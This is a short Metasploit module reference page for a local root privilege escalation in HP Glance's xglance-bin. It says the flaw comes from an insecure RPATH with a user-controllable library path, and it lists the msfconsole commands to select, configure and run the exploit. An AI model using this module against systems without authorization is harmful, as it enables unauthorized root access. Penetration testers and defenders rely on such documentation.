This exploit takes advantage of xglance-bin, part of HP's Glance (or Performance Monitoring) version 11 'and subsequent' , which was compiled with an insecure RPATH option. The RPATH includes a relative path to -L/lib64/ which can be controlled by a user. Creating libraries in this location will result in an escalation of privileges to root.
Linux
x86, x64
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/linux/local/hp_xglance_priv_esc
msf exploit(hp_xglance_priv_esc) > show targets
...targets...
msf exploit(hp_xglance_priv_esc) > set TARGET < target-id >
msf exploit(hp_xglance_priv_esc) > show options
...show and set options...
msf exploit(hp_xglance_priv_esc) > exploit
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